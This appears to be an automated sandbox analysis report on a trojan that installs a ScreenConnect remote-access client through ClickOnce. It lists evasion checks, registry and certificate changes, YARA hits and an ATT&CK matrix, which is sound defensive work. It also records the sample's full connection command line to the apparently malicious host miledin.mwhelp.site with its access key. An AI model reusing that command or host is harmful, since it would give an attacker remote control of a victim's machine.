Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\	Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: dfsvc.exe, 00000001.00000002.1775663963.000001BCBCC68000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.1783154349.000001BCC0C31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ScreenConnect.WindowsClient.exe, 00000008.00000002.1331266287.000000001AE64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Anti Debugging

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Process queried: DebugPort	Jump to behavior

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_003A1920 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_003A1920

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

0_2_003A1000

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_003A37C7 mov eax, dword ptr fs:[00000030h]

0_2_003A37C7

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_003A69E3 GetProcessHeap,

0_2_003A69E3

Enables debug privileges

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Process token adjusted: Debug

Jump to behavior

Launches processes in debugging mode, may be used to hinder debugging

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_003A1493 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_003A1493
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_003A1920 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_003A1920
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Code function: 0_2_003A46C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_003A46C3

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT \| WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Reference to suspicious API methods: HandleMinder.CreateWithFunc(WindowsNative.OpenProcess(processAccess, bInheritHandle: false, processID), WindowsNative.CloseHandle)

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe

Process created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i=" "1"

Jump to behavior

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\dgxvv1kr.nbq\a4e9zaca.q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\screenconnect.clientservice.exe" "?e=support&y=guest&h=miledin.mwhelp.site&p=8880&k=bgiaaackaabsu0exaagaaaeaaqc1bc7fdvjjfmjkdeqwcij3jjneml4x59nf7ggtnmjpuazxqdcf4oxznuaf7%2bpvugux9iql0n%2fv66hq12w0ziemc6tfje3cmndeozodx53g06q8buhtzh2x%2f%2b%2bqrazh38rwy8beaezwgd3uplgjgt802v5ryoiginnpsg2qeyjy4zp%2b13derrkttsv6uqi5ikxqwvcrjc%2fgnpsbkuxd%2f8jpqy4dtsbrmb9x3urpot2zflzmjv0lf10mnynoj1gz6q1%2bfaqncjp2sqix%2flzxsofe0atfkdojc3uhmzdhfuwsymenjpldauviud8llhjxaaew8kihkbgfg7ine6vysqaj&r=&i=" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe "c:\users\user\appdata\local\apps\2.0\dgxvv1kr.nbq\a4e9zaca.q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\screenconnect.clientservice.exe" "?e=support&y=guest&h=miledin.mwhelp.site&p=8880&k=bgiaaackaabsu0exaagaaaeaaqc1bc7fdvjjfmjkdeqwcij3jjneml4x59nf7ggtnmjpuazxqdcf4oxznuaf7%2bpvugux9iql0n%2fv66hq12w0ziemc6tfje3cmndeozodx53g06q8buhtzh2x%2f%2b%2bqrazh38rwy8beaezwgd3uplgjgt802v5ryoiginnpsg2qeyjy4zp%2b13derrkttsv6uqi5ikxqwvcrjc%2fgnpsbkuxd%2f8jpqy4dtsbrmb9x3urpot2zflzmjv0lf10mnynoj1gz6q1%2bfaqncjp2sqix%2flzxsofe0atfkdojc3uhmzdhfuwsymenjpldauviud8llhjxaaew8kihkbgfg7ine6vysqaj&r=&i=" "1"			Jump to behavior

Source: dfsvc.exe, 00000001.00000002.1781391219.000001BCBEA84000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000000.1245194119.00000000002A2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr	Binary or memory string: Progman
Source: dfsvc.exe, 00000001.00000002.1781391219.000001BCBEA84000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000008.00000000.1245194119.00000000002A2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr	Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass

Language, Device and Operating System Detection

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.ClientService.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsBackstageShell.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsFileManager.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsClient.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsBackstageShell.exe.config VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsFileManager.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_003A1807 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_003A1807

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

AV process strings found (often used to terminate AV products)

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Adds / modifies Windows certificates

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Remote Access Functionality

Yara detected ScreenConnect Tool

Source: Yara match	File source: 8.0.ScreenConnect.WindowsClient.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1245194119.00000000002A2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1766358365.000001BCA486A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1325286877.000000000256A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dfsvc.exe PID: 7148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 6376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.ClientService.exe PID: 6924, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Search Order Hijacking	1 DLL Search Order Hijacking	1 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Windows Service	1 Windows Service	1 Install Root Certificate	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	12 Process Injection	1 Timestomp	NTDS	41 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Bootkit	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Search Order Hijacking	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
